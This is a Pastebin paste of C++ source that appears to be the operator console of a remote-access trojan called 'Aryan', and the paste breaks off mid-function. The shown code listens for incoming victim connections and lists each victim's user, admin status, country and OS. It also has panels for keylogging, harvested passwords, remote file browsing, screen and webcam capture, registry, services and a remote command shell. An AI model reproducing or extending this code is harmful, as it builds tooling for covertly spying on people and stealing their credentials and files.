Guest User

Untitled

a guest
Sep 22nd, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 219.28 KB | None | 0 0
  1. #include <windows.h>
  2. #include <malloc.h>
  3. #include <WindowsX.h>
  4. #include <richedit.h>
  5. #include <stdio.h>
  6. #include <commctrl.h>
  7. #include <time.h>
  8. #include "MyJPEGHandler.h"
  9. #include "resource.h"
  10. #include "AryanClient.h"
  11. #include "upnpnat.h"
  12. #include <iostream>
  13. #include <string>
  14.  
  15. #define Alloc(p,t) (t *)malloc((p)*sizeof(t))
  16. #define For(i,n) for ((i)=0;(i)<(n);(i)++)
  17. #define iFor(n) For (i,n)
  18. #define jFor(n) For (j,n)
  19.  
  20. struct PACKETHEAD;
  21. HBITMAP ScreenA[1024];
  22. HBITMAP WebA[1024];
  23. #pragma comment(linker,"/FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
  24.  
  25. void SetLogs(char * Time, char * Operation, char * Information, char * Success);
  26. ////////////////////////////////////////////////////////////////////////////////
  27. //Async Sockets
  28. #define RATMSG_SOCKET           WM_USER+1
  29. #define FILEMSG_SOCKET          WM_USER+1
  30.  
  31. ////////////////////////////////////////////////////////////////////////////////
  32. //Keylogger
  33.  
  34. DWORD dwTextColor = 65280;  
  35. DWORD dwTimeColor = 255;  
  36. DWORD dwTitleColor = 16777215;  
  37. DWORD dwBackColor = 0;
  38. ////////////////////////////////////////////////////////////////////////////////
  39. unsigned short  ServerPort=1000;
  40. SOCKET          hSock;
  41. SOCKET          Client[1024];
  42. SOCKADDR_IN     ServAdr;
  43. WORD            Event;
  44. int             AdrLen=sizeof(sockaddr);
  45. /////////////////////////////////////////////////////////////////////////////////
  46. PACKETHEAD      Head;
  47. DWORD           HeadSize=sizeof(PACKETHEAD);
  48.  
  49. PACKETHEAD      Recv;
  50. DWORD           RecvSize=sizeof(PACKETHEAD);
  51. int             S = 0;
  52. int             M = 0;
  53. int             A = 0;
  54. bool            WaitForData = 0;
  55. DWORD           thread;
  56. ////////////////////////////////////////////////////////////////////////////////
  57. //File Socket
  58. unsigned short  FilePort=1001;
  59. SOCKET          FSock;
  60. SOCKET          FClient[1024];
  61. SOCKADDR_IN     ServAdress;
  62. int             AdressLen = sizeof(sockaddr);
  63. int             F = 0;
  64. WORD            FEvent;
  65. HWND            Connect;
  66. HINSTANCE       CInst;
  67. FILE * fd[1024];
  68.  
  69. FILE * ShotA[1024];
  70. FILE * ShotB[1024];
  71. FILE * ShotC[1024];
  72. FILE * ShotD[1024];
  73.  
  74. FILE * DOWN[1024];
  75. FILE * WebCamPic[1024];
  76. char me [256];
  77. int D = 0;
  78. HANDLE UPLOAD;
  79. int GID = 0;
  80. ////////////////////////////////////////////////////////////////////////////////
  81. //HWND Handles
  82. HWND hStatus;
  83. HWND hDlg;
  84. HWND HwND;
  85.  
  86.  
  87. HWND TASKS[1024];
  88. HWND SHwnd[1024];
  89. HWND KeyHwnd[1024];
  90. HWND FileHwnd[1024];
  91. HWND Screen[1024];
  92. HWND SearchHwnd[1024];
  93. HWND ReName[1024];
  94. HWND PassHwnd[1024];
  95. HWND ServiceHwnd[1024];
  96. HWND RegHwnd[1024];
  97. HWND CmdHwnd[1024];
  98. HWND ProgHwnd[1024];
  99. HWND WebCam[1024];
  100. HWND EditHwnd;
  101. ////////////////////////////////////////////////////////////////////////////////
  102. HINSTANCE ShInst;
  103. HINSTANCE TaInst;
  104. HINSTANCE KInst;
  105. HINSTANCE FileInst;
  106. HINSTANCE ScreenInst;
  107. HINSTANCE GInstance;
  108. HINSTANCE ReInst;
  109. HINSTANCE SearchInst;
  110. HINSTANCE EditInst;
  111. HINSTANCE PassInst;
  112. HINSTANCE RegInst;
  113. HINSTANCE CmdInst;
  114. HINSTANCE ProgInst;
  115. HINSTANCE CamInst;
  116. ////////////////////////////////////////////////////////////////////////////////
  117. int port = 0;
  118. int x = 0;
  119. int y = 0;
  120. int z = 0;
  121. int N = 0;
  122. int P = 0;
  123. int Q = 0;
  124. int U = 0;
  125. int SentKb = 0;
  126. int RecvKb = 0;
  127. ////////////////////////////////////////////////////////////////////////////////
  128. //Logs Buffers
  129. char Operation[100] = "";
  130. char Result[100] = "";
  131. char * Time;
  132. char Error [10] = "";
  133. ////////////////////////////////////////////////////////////////////////////////
  134. char ID [100] = "";
  135. ////////////////////////////////////////////////////////////////////////////////
  136. //Task
  137. int STATE;
  138. ////////////////////////////////////////////////////////////////////////////////
  139. //file window handles/Buffers
  140. char LastText [100];
  141. TV_ITEM tvi;
  142. HTREEITEM Selected[1024];
  143. TV_INSERTSTRUCT tvinsert;   // struct to config out tree control
  144. HTREEITEM Parent;           // Tree item handle
  145. HTREEITEM Before;           // .......
  146. HTREEITEM Root;             // .......
  147. HTREEITEM LastSelected;
  148. HIMAGELIST hImageList;      // Image list array hadle
  149. HBITMAP hBitMap;            // bitmap handler
  150. bool flagSelected=false;
  151. char FinalDir [1024] = "";
  152. // for drag and drop
  153. HWND hTree;
  154. //BookMark Tree
  155. TV_ITEM TVI;
  156. HTREEITEM SELECTED;
  157. TV_INSERTSTRUCT TVINSERT;   // struct to config out tree control
  158. HTREEITEM BookRoot;
  159. HTREEITEM BookMark;
  160. HIMAGELIST BookImageList;
  161. HBITMAP hBookMap;
  162. HANDLE CHECK;
  163. ////////////////////////////////////////////////////////////////////////////////
  164. TV_ITEM Rtvi;
  165. HTREEITEM RSelected[1024];
  166. TV_INSERTSTRUCT Rtvinsert;   // struct to config out tree control
  167. HTREEITEM RParent;           // Tree item handle
  168. HIMAGELIST RegImageList;      // Image list array hadle
  169. HBITMAP RegBitMap;            // bitmap handler
  170. bool RflagSelected=false;
  171. char RFinalKey [512] = "";
  172. ////////////////////////////////////////////////////////////////////////////////
  173. //File
  174. char Copy [100] = "";
  175. char FileName [100] = "";
  176. int J = 2;
  177. int V = 0;
  178. DWORD WINAPI SendFile(LPVOID lpParam);
  179. ////////////////////////////////////////////////////////////////////////////////
  180. //WINDOWIP
  181. char WINDOWIP [50] = "";
  182. ////////////////////////////////////////////////////////////////////////////////
  183. HIMAGELIST cImageList;
  184. ////////////////////////////////////////////////////////////////////////////////
  185. //  Time
  186. void GetTime()
  187. {
  188.   time_t rawtime;
  189.   struct tm * timeinfo;
  190.  
  191.   time ( &rawtime );
  192.   timeinfo = localtime ( &rawtime );
  193.  
  194.   Time = asctime (timeinfo);
  195.  
  196. }
  197. ////////////////////////////////////////////////////////////////////////////////
  198. //SetListViews
  199. void SetServer(char * Resolution, char * ADMIN, char * CPU, char * RAM, char * ServerVersion, char * User, char * Country, char * OS, char * ID)
  200. {
  201.     LV_ITEM item;
  202.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  203.     item.iItem= atoi(ID);
  204.     item.iImage = 0;
  205.  
  206.     item.iSubItem=0;
  207.     item.pszText=ID;
  208.     item.iItem=ListView_InsertItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  209.  
  210. //  MessageBox(NULL, ID, "ID", MB_OK);
  211.  
  212.     item.iSubItem=1;
  213.     item.pszText=User;
  214.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  215.    
  216.     item.iSubItem=2;
  217.     item.pszText=ADMIN;
  218.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  219.  
  220.     item.iSubItem=3;
  221.     item.pszText=Country;
  222.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  223.    
  224.     item.iSubItem=4;
  225.     item.pszText=OS;
  226.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  227.  
  228.     item.iSubItem=5;
  229.     item.pszText=RAM;
  230.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  231.  
  232.     item.iSubItem=6;
  233.     item.pszText=CPU;
  234.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  235.    
  236.     item.iSubItem=7;
  237.     item.pszText=Resolution;
  238.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  239.  
  240.     item.iSubItem=8;
  241.     item.pszText=ServerVersion;
  242.     ListView_SetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  243. ///////////////////////////////////////////////////////////////
  244.     GetTime();
  245.     SetLogs(Time, "User Connected", User, "Pass");
  246.  
  247. }
  248. void SetProc(char * Process, char * PID, char * PPID, char * Threads, char * Pri, char * Memory, int ID)
  249. {
  250.    
  251.     char Buffer [50] = "";
  252.     LV_ITEM  item;
  253.     item.mask=TVIF_TEXT;
  254.     item.iItem=P;
  255.  
  256.     item.iSubItem=0;
  257.     item.pszText=Process;
  258.     item.iItem=ListView_InsertItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  259.  
  260.     item.iSubItem=1;
  261.     item.pszText=PID;
  262.     ListView_SetItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  263.  
  264.     item.iSubItem=2;
  265.     item.pszText=PPID;
  266.     ListView_SetItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  267.  
  268.     item.iSubItem=3;
  269.     item.pszText=Threads;
  270.     ListView_SetItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  271.  
  272.     item.iSubItem=4;
  273.     item.pszText=Pri;
  274.     ListView_SetItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  275.  
  276.     sprintf(Buffer, "Process's: %d", P);
  277.     SendMessage(GetDlgItem(TASKS[ID],IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)Buffer);
  278.  
  279.     sprintf(Buffer, "Memory Usage: %s%%", Memory);
  280.     SendMessage(GetDlgItem(TASKS[ID],IDC_TASK_STATUS), SB_SETTEXT, 1, (LPARAM)Buffer);
  281.  
  282.  
  283. P++;
  284. }
  285. void SetTask(char * Task, char * Memory, int ID)
  286. {
  287.     char Buffer [50] = "";
  288.     LV_ITEM  item;
  289.     item.mask=TVIF_TEXT;
  290.     item.iItem=0;
  291.  
  292.     item.iSubItem=0;
  293.     item.pszText=Task;
  294.     item.iItem=ListView_InsertItem(GetDlgItem(TASKS[ID],IDC_TASKLIST),&item);
  295.  
  296.     sprintf(Buffer, "Process's: %d", ListView_GetItemCount(GetDlgItem(TASKS[ID],IDC_TASKLIST)));
  297.     SendMessage(GetDlgItem(TASKS[ID],IDC_TASK_STATUS), SB_SETTEXT, 0, (LPARAM)Buffer);
  298.     //MessageBox(NULL, Memory, "Memory", MB_OK);
  299.     sprintf(Buffer, "Memory Usage: %s%%", Memory);
  300.     SendMessage(GetDlgItem(TASKS[ID],IDC_TASK_STATUS), SB_SETTEXT, 1, (LPARAM)Buffer);
  301. }
  302. void SetPasswords(char * URL, char * UserName, char * PassWord ,int ID, int ID2)
  303. {
  304.     LV_ITEM item;
  305.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  306.  
  307.     item.iSubItem=0;
  308.     item.pszText=URL;
  309.     item.iImage = ID2;
  310.     item.iItem=ListView_InsertItem(GetDlgItem(PassHwnd[ID],IDC_PASSWORDS),&item);
  311.  
  312.     item.iSubItem=1;
  313.     item.pszText=UserName;
  314.     ListView_SetItem(GetDlgItem(PassHwnd[ID],IDC_PASSWORDS),&item);
  315.  
  316.     item.iSubItem=2;
  317.     item.pszText=PassWord;
  318.     ListView_SetItem(GetDlgItem(PassHwnd[ID],IDC_PASSWORDS),&item);
  319. }
  320. void SetServices(char * ServiceName, char * DisplayName, char * Status , char * StartUp ,int ID)
  321. {
  322.  
  323.     LV_ITEM item;
  324.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  325.     item.iItem= 0;
  326.  
  327.     item.iSubItem=0;
  328.     item.pszText=ServiceName;
  329.     item.iImage = 7;
  330.     item.iItem=ListView_InsertItem(GetDlgItem(ProgHwnd[ID],IDC_SERVICES),&item);
  331.  
  332.     item.iSubItem=1;
  333.     item.pszText=DisplayName;
  334.     ListView_SetItem(GetDlgItem(ProgHwnd[ID],IDC_SERVICES),&item);
  335.  
  336.     item.iSubItem=2;
  337.     item.pszText=Status;
  338.     ListView_SetItem(GetDlgItem(ProgHwnd[ID],IDC_SERVICES),&item);
  339.  
  340.     item.iSubItem=3;
  341.     item.pszText=StartUp;
  342.     ListView_SetItem(GetDlgItem(ProgHwnd[ID],IDC_SERVICES),&item);
  343. }
  344. ////////////////////////////////////////////////////////////////////////////////
  345. //Logs
  346. void SetLogs(char * Time, char * Operation, char * Information, char * Success)
  347. {
  348.     LV_ITEM item;
  349.     item.mask=TVIF_TEXT;
  350.     item.iItem= 0;
  351.  
  352.     item.iSubItem=0;
  353.     item.pszText=Time;
  354.     item.iItem=ListView_InsertItem(GetDlgItem(HwND,IDC_LOGS),&item);
  355.  
  356.     item.iSubItem=1;
  357.     item.pszText=Operation;
  358.     ListView_SetItem(GetDlgItem(HwND,IDC_LOGS),&item);
  359.    
  360.     item.iSubItem=2;
  361.     item.pszText=Information;
  362.     ListView_SetItem(GetDlgItem(HwND,IDC_LOGS),&item);
  363.  
  364.     item.iSubItem=3;
  365.     item.pszText=Success;
  366.     ListView_SetItem(GetDlgItem(HwND,IDC_LOGS),&item);
  367. }
  368. /////////////////////////////////////////////////////////////////////////////////////////////////
  369. //Initilise WSA
  370. void InitWSA()
  371. {
  372.     WORD    wVersionRequested;
  373.     WSADATA wsaData;
  374.     int     err;
  375.     wVersionRequested = MAKEWORD( 2, 0 );
  376.     err = WSAStartup( wVersionRequested, &wsaData );
  377.     if ( err != 0 )
  378.         PostQuitMessage(1);
  379.  
  380.     if ( LOBYTE( wsaData.wVersion ) != 2 ||
  381.          HIBYTE( wsaData.wVersion ) != 0 )
  382.     {
  383.         WSACleanup();
  384.         PostQuitMessage(0);
  385.     }
  386. }
  387. /////////////////////////////////////////////////////////////////////////////////////////////////
  388. //Initilise Socket for async uses.
  389. bool InitSocket(HWND hwnd)
  390. {
  391.     hSock = socket(AF_INET,SOCK_STREAM,0);
  392.     WSAAsyncSelect(hSock,hwnd,RATMSG_SOCKET,FD_ACCEPT|FD_CLOSE|FD_READ);
  393.     ServAdr.sin_family=AF_INET;
  394.     ServAdr.sin_addr.s_addr=htonl(INADDR_ANY);
  395.     ServAdr.sin_port=htons(ServerPort);
  396.     bind(hSock,(LPSOCKADDR)&ServAdr,sizeof(struct sockaddr));
  397.     listen(hSock, 1);
  398.     return TRUE;
  399. }
  400. /////////////////////////////////////////////////////////////////////////////////////////////////
  401. //Initilise Socket for async uses.
  402. bool InitiliseSocket(HWND hwnd)
  403. {
  404.     FSock = socket(AF_INET,SOCK_STREAM,0);
  405.     WSAAsyncSelect(FSock,hwnd,FILEMSG_SOCKET,FD_ACCEPT|FD_CLOSE|FD_READ);
  406.     ServAdress.sin_family=AF_INET;
  407.     ServAdress.sin_addr.s_addr=htonl(INADDR_ANY);
  408.     ServAdress.sin_port=htons(FilePort);
  409.     bind(FSock,(LPSOCKADDR)&ServAdress,sizeof(struct sockaddr));
  410.     listen(FSock, 1);
  411.     return TRUE;
  412. }
  413. /////////////////////////////////////////////////////////////////////////////////////////////////
  414. //close each socket that has connected
  415. void CloseSocket(HWND hwnd)
  416. {
  417.  
  418.    
  419.  
  420.     for(int A = 0; S > A, A++;);
  421.     {
  422.    
  423.     closesocket(Client[A]);
  424.     closesocket(FClient[A]);
  425.     }
  426.  
  427.     WSACleanup();
  428.     SendMessage(hwnd, SB_SETTEXT, 0, (LPARAM)"Connection status: Not listening");
  429. }
  430. BOOL ResetProcs(HWND hwnd, int H)
  431. {
  432. if(ListView_DeleteAllItems(GetDlgItem(hwnd,H)))
  433. {
  434. return TRUE;
  435. }
  436. else
  437. {
  438. //MessageBox(NULL, "ERROR RESETTING LIST VIEW!", "ERROR", MB_OK | MB_ICONINFORMATION);
  439. return FALSE;
  440. }
  441. return TRUE;
  442. }
  443.  
  444. /////////////////////////////////////////////////////////////////////////////////////
  445. //Shell Window Call back
  446.  
  447. /////////////////////////////////////////////////////////////////////////////////////
  448. //Set Files.
  449. BOOL ResetFiles(HWND hwnd)
  450. {
  451. if(ListView_DeleteAllItems(GetDlgItem(hwnd,IDC_FILELIST)))
  452. {
  453. return TRUE;
  454. }
  455. else
  456. {
  457. //MessageBox(NULL, "ERROR RESETTING FILE VIEW!", "ERROR", MB_OK | MB_ICONINFORMATION);
  458. return FALSE;
  459. }
  460. return TRUE;
  461. }
  462. void SetDrive(char * Drive, int ID)
  463. {
  464.             tvinsert.hParent=NULL;          // top most level no need handle
  465.             tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  466.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE;
  467.             switch(Recv.ID2)
  468.             {
  469.             case 1:
  470.             tvinsert.item.iImage=5;
  471.                 break;
  472.             case 2:
  473.             tvinsert.item.iImage=1;
  474.                 break;
  475.             case 3:
  476.             tvinsert.item.iImage=2;
  477.                 break;
  478.             case 4:
  479.             tvinsert.item.iImage=3;
  480.                 break;
  481.             case 5:
  482.             tvinsert.item.iImage=4;
  483.                 break;
  484.             }
  485.  
  486.             tvinsert.item.pszText=Drive;
  487.             Parent=(HTREEITEM)SendDlgItemMessage(FileHwnd[ID],IDC_TREE1,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  488.  
  489.             Root=Parent;
  490.             tvinsert.item.iImage=1;
  491.  
  492. }
  493.  
  494. int getFileExtension(char* file){
  495.  
  496.  
  497.     char extension [100] = "";;
  498.     int C = 0;
  499.     int H = 0;
  500.  
  501.   while(file[C] != '.')
  502.          {
  503.          C++;
  504.          }
  505.         while (file[C] != NULL)
  506.          {
  507.          extension[H] += file[C];
  508.          H++;
  509.          C++;
  510.              }
  511.  
  512.              if(strstr(extension, "exe") || strstr(extension, "EXE") || strstr(extension, "com") || strstr(extension, "COM"))
  513.          {
  514.          return 10;
  515.        
  516.          }
  517.          if(strstr(extension, "jpg"))
  518.          {
  519.          return 13;
  520.        
  521.          }
  522.          if(strstr(extension, "PNG") || strstr(extension, "png") )
  523.          {
  524.          return 13;
  525.        
  526.          }
  527.          if(strstr(extension, "jpeg") || strstr(extension, "JPEG"))
  528.          {
  529.           return 13;
  530.        
  531.          }
  532.          if(strstr(extension, "ico") || strstr(extension, "ICO"))
  533.          {
  534.           return 13;
  535.          
  536.          }
  537.          if(strstr(extension, "BMP") || strstr(extension, "bmp"))
  538.          {
  539.          return 13;
  540.        
  541.          }
  542.          if(strstr(extension, "GIF") || strstr(extension, "gif"))
  543.          {
  544.          return 13;
  545.          
  546.          }
  547.          if(strstr(extension, "pif") || strstr(extension, "pif"))
  548.          {
  549.          return 13;
  550.        
  551.          }
  552.          if(strstr(extension, "txt") || strstr(extension, "doc") || strstr(extension, "DOC") || strstr(extension, "TXT") || strstr(extension, "log") || strstr(extension, "LOG"))
  553.          {
  554.           return 14;
  555.          
  556.          }
  557.          if(strstr(extension, "mp3") || strstr(extension, "MP3") || strstr(extension, "mp4") || strstr(extension, "MP4"))
  558.          {
  559.           return 12;
  560.        
  561.          }
  562.          if(strstr(extension, "AVI") || strstr(extension, "avi") || strstr(extension, "mpg") || strstr(extension, "mpeg") || strstr(extension, "MPEG") || strstr(extension, "wmv") || strstr(extension, "WMV"))
  563.          {
  564.          return 15;
  565.        
  566.          }
  567.         if(strstr(extension, "rar") || strstr(extension, "RAR") || strstr(extension, "zip") || strstr(extension, "ZIP"))
  568.         {
  569.         return 11;
  570.        
  571.         }
  572.          else
  573.          {
  574.          return 9;
  575.        
  576.          }
  577.    
  578.  
  579.  
  580.  
  581.  
  582. return 9; //a null string if cant find extension
  583. }
  584.  
  585. void SetFile(char * FileName, char * FileSize, int ID, int ID2, int Type) //char * CreationTime, char * LastAccessTime, char * LastWriteTime ,
  586. {
  587.  
  588. int Imagetype;
  589.  
  590.  
  591.     LV_ITEM item;
  592.     item.iImage = 0;
  593.     switch(ID2)
  594.     {
  595.     case 1:
  596.     item.mask=TVIF_TEXT | LVIF_IMAGE;
  597.     item.iItem= 0;
  598.  
  599.     item.iSubItem=0;
  600.     item.pszText=FileName;
  601.  
  602.  
  603.  
  604.         item.iImage = getFileExtension(FileName);
  605.     item.iItem=ListView_InsertItem(GetDlgItem(FileHwnd[ID],IDC_FILELIST),&item);
  606.  
  607.     item.iSubItem=1;
  608.     item.pszText=FileSize;
  609.  
  610.     ListView_SetItem(GetDlgItem(FileHwnd[ID],IDC_FILELIST),&item);
  611.  
  612.     break;
  613.  
  614.     case 2:
  615.             if(!strcmp(FileName, ".") ||    !strcmp(FileName, ".."))
  616.         {
  617.         break;
  618.         }
  619.        tvinsert.hParent=Selected[ID];           // top most level no need handle
  620.        tvinsert.hInsertAfter=TVI_ROOT; // work as root level
  621.             tvinsert.item.mask=TVIF_TEXT|TVIF_IMAGE|TVIF_SELECTEDIMAGE;
  622.             tvinsert.item.pszText=FileName;
  623.             tvinsert.item.iImage=8;
  624.             tvinsert.item.iSelectedImage=0;
  625.             RParent=(HTREEITEM)SendDlgItemMessage(FileHwnd[ID],IDC_TREE1,TVM_INSERTITEM,0,(LPARAM)&tvinsert);
  626.             TreeView_Select(GetDlgItem(FileHwnd[ID],IDC_TREE1), Selected[ID], TVGN_CARET);
  627.             TreeView_Expand(GetDlgItem(FileHwnd[ID],IDC_TREE1), Selected[ID], TVM_EXPAND);
  628.  
  629.  
  630.     break;
  631.     }
  632. }
  633.  
  634. void SetTHEBMIHeader (BITMAPINFO *b,short dx,short dy)
  635. {
  636.  b->bmiHeader.biSize=sizeof(BITMAPINFOHEADER);
  637.  b->bmiHeader.biWidth=dx;
  638.  b->bmiHeader.biHeight=-dy;
  639.  b->bmiHeader.biPlanes=1;
  640.  b->bmiHeader.biBitCount=24;
  641.  b->bmiHeader.biCompression=BI_RGB;
  642.  b->bmiHeader.biSizeImage=0;
  643.  b->bmiHeader.biXPelsPerMeter=1;
  644.  b->bmiHeader.biYPelsPerMeter=1;
  645.  b->bmiHeader.biClrUsed=0;
  646.  b->bmiHeader.biClrImportant=0;
  647. }
  648. POINT GetBitmapSize (HBITMAP h)
  649. {
  650. POINT p;
  651. BITMAP o;
  652. GetObject (h,sizeof(o),&o);
  653. p.x=o.bmWidth;
  654. p.y=o.bmHeight;
  655. return (p);
  656. }
  657. void CreateWorkingBitmap (WORD dx,WORD dy,tWorkBMP *w)
  658. {
  659.  w->x=dx;
  660.  w->y=dy;
  661.  w->l=(dx+1)*3&0xfffc;
  662.  w->b=Alloc(w->l*dy,BYTE);
  663. }
  664. void OpenBitmapForWork (HBITMAP b,tWorkBMP *w)
  665. {
  666. BITMAPINFO s;
  667. HDC h=GetDC(NULL);
  668. POINT v=GetBitmapSize(b);
  669. CreateWorkingBitmap (v.x,v.y,w);
  670. SetTHEBMIHeader (&s,w->x,w->y);
  671. GetDIBits (h,b,0,w->y,w->b,&s,DIB_RGB_COLORS);
  672. ReleaseDC (NULL,h);
  673. }
  674.  
  675.  
  676. HBITMAP CreateEmptyBitmap (WORD dx,WORD dy)
  677. {
  678.  HDC h=GetDC(NULL);
  679.  HBITMAP b=CreateCompatibleBitmap(h,dx,dy);
  680.  ReleaseDC (NULL,h);
  681.  
  682.  return (b);
  683. }
  684.  
  685.  
  686. void SaveWorkingBitmap (tWorkBMP *w,HBITMAP b)
  687. {
  688.  BITMAPINFO s;
  689.  HDC h=GetDC(NULL);
  690.  SetTHEBMIHeader (&s,w->x,w->y);
  691.  SetDIBits (h,b,0,w->y,w->b,&s,DIB_RGB_COLORS);
  692.  ReleaseDC (NULL,h);
  693. }
  694.  
  695. void ShrinkWorkingBitmap (tWorkBMP *a,tWorkBMP *b,WORD bx,WORD by)
  696. {
  697.  BYTE *uy=a->b,*ux,i;
  698.  WORD x,y,nx,ny=0;
  699.  DWORD df=3*bx,nf=df*by,j;
  700.  float k,qx[2],qy[2],q[4],*f=Alloc(nf,float);
  701.  
  702.  CreateWorkingBitmap (bx,by,b);
  703.  
  704.  jFor (nf) f[j]=0;
  705.  j=0;
  706.  
  707.  For (y,a->y) {
  708.   ux=uy;
  709.   uy+=a->l;
  710.   nx=0;
  711.   ny+=by;
  712.  
  713.   if (ny>a->y) {
  714.  
  715.    qy[0]=1-(qy[1]=(ny-a->y)/(float)by);
  716.  
  717.    For (x,a->x) {
  718.  
  719.     nx+=bx;
  720.  
  721.     if (nx>a->x) {
  722.      qx[0]=1-(qx[1]=(nx-a->x)/(float)bx);
  723.  
  724.      iFor (4) q[i]=qx[i&1]*qy[i>>1];
  725.  
  726.      iFor (3) {
  727.       f[j]+=(*ux)*q[0];
  728.       f[j+3]+=(*ux)*q[1];
  729.       f[j+df]+=(*ux)*q[2];
  730.       f[(j++)+df+3]+=(*(ux++))*q[3];
  731.      }
  732.     }
  733.     else iFor (3) {
  734.      f[j+i]+=(*ux)*qy[0];
  735.      f[j+df+i]+=(*(ux++))*qy[1];
  736.     }
  737.     if (nx>=a->x) nx-=a->x;
  738.      if (!nx) j+=3;
  739.    }
  740.   }
  741.   else {
  742.    For (x,a->x) {
  743.  
  744.     nx+=bx;
  745.  
  746.     if (nx>a->x) {
  747.      qx[0]=1-(qx[1]=(nx-a->x)/(float)bx);
  748.      iFor (3) {
  749.       f[j]+=(*ux)*qx[0];
  750.       f[(j++)+3]+=(*(ux++))*qx[1];
  751.      }
  752.     }
  753.     else iFor (3) f[j+i]+=*(ux++);
  754.  
  755.     if (nx>=a->x) nx-=a->x;
  756.      if (!nx) j+=3;
  757.    }
  758.    if (ny<a->y) j-=df;
  759.   }
  760.   if (ny>=a->y) ny-=a->y;
  761.  }
  762.  
  763.  nf=0;
  764.  k=bx*by/(float)(a->x*a->y);
  765.  uy=b->b;
  766.  
  767.  For (y,by) {
  768.   jFor (df) uy[j]=f[nf++]*k+.5;
  769.   uy+=b->l;
  770.  }
  771.  
  772.  free (f);
  773. }
  774.  
  775. HBITMAP ShrinkBitmap (HBITMAP a,WORD bx,WORD by)
  776. // creates and returns new bitmap with dimensions of
  777. // [bx,by] by shrinking bitmap a both [bx,by] must be less or equal
  778. // than the dims of a, unless the result is nonsense
  779. {
  780.  tWorkBMP in,out;
  781.  HBITMAP b=CreateEmptyBitmap(bx,by);
  782.  OpenBitmapForWork (a,&in);
  783.  ShrinkWorkingBitmap (&in,&out,bx,by);
  784.  free (in.b);
  785.  SaveWorkingBitmap (&out,b);
  786.  free (out.b);
  787.  return (b);
  788. }
  789. LPPICTURE gpPicture;
  790.  
  791. DWORD WINAPI Draw(LPVOID lParam)
  792. {
  793.    
  794.     mystruct * MS = (mystruct *)lParam;
  795.     RECT rc;
  796. //    LVBKIMAGE IBBkImg;
  797.     HBITMAP Final = MS ->Screen;
  798.     HDC hdcBackground;
  799.     INT ndcBackground;
  800.     HDC hdc = 0;
  801.     HDC hdcScreen;
  802.    
  803.     PAINTSTRUCT ps;
  804.     HBITMAP hbmMem;
  805.     INT ndcMem;
  806.     HDC hdcMem;
  807.  
  808.     int ID3 = MS->ID3;
  809.     int ID4 = MS->ID4;
  810.     int ID = MS->ID;
  811.     //ID = (int)lParam;
  812.                 if(Screen[ID] == NULL)
  813.                 {
  814.                 return 1;
  815.                 }
  816.         GetClientRect(Screen[ID], (LPRECT) &rc);
  817.         if(Final == NULL) return -1;
  818.         hdcScreen = GetDC(HWND_DESKTOP);
  819.         hdcBackground = CreateCompatibleDC(hdcScreen);
  820.         ndcBackground = SaveDC(hdcBackground);
  821.         SelectObject(hdcBackground, Final);
  822.         ReleaseDC(HWND_DESKTOP, hdcScreen);
  823.                             if(Screen[ID] == NULL)
  824.                 {
  825.                 return 1;
  826.                 }
  827.                                 if(Screen[ID] == NULL)
  828.                 {
  829.                 return 1;
  830.                 }
  831.                     UpdateWindow (Screen[ID]);
  832.  
  833.  
  834.                 if(Screen[ID] == NULL)
  835.                 {
  836.                 return 1;
  837.                 }
  838.                    if(BeginPaint(Screen[ID], &ps))
  839.                     {
  840.                
  841.                                     if(Screen[ID] == NULL)
  842.                 {
  843.                 return 1;
  844.                 }
  845.                     // Create double buffer
  846.                     hdcMem = CreateCompatibleDC(ps.hdc);
  847.                     ndcMem = SaveDC(hdcMem);
  848.                     hbmMem = CreateCompatibleBitmap(ps.hdc, ID3, ID4);
  849.                     SelectObject(hdcMem, hbmMem);
  850.                 if(Screen[ID] == NULL)
  851.                 {
  852.                 return 1;
  853.                 }
  854.                     // Copy background bitmap into double buffer
  855.                     if(BitBlt(hdcMem, 0, 0, ID3, ID4, hdcBackground, 0, 0, SRCCOPY) == NULL)
  856.                     {
  857.                     //MessageBox(NULL, "failed", "FAILED", MB_OK);
  858.                     }
  859.                     //StretchBlt(ps.hdc, 0, 0, rc.right, rc.bottom - 10, hdcMem,  0, 0,  ID3, ID4, SRCCOPY);
  860.                     //Copy double buffer to screen
  861.                     if(BitBlt(ps.hdc, 0, 0, ID3, ID4, hdcMem, 0, 0, SRCCOPY) == NULL)
  862.                     {
  863.                     //  MessageBox(NULL, "failed Screen", "FAILED", MB_OK);
  864.                      }
  865.                 if(Screen[ID] == NULL)
  866.                 {
  867.                 return 1;
  868.                 }
  869.                     // Clean up
  870.                     RestoreDC(hdcMem, ndcMem);
  871.                     DeleteObject(hbmMem);
  872.                     DeleteObject(Final);
  873.                     DeleteDC(hdcMem);
  874.                     DeleteDC(hdcScreen);
  875.                     DeleteDC(hdc);
  876.                     EndPaint(Screen[ID], &ps);
  877.  
  878.                     }
  879. return 0;
  880. }
  881.  
  882. ////////////////////////////////////////////////////////////////////////////////////
  883. //File Window Call back's
  884. LRESULT CALLBACK FileConnectProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
  885. {
  886. PACKETFRECV DL;
  887. //mystruct MS;
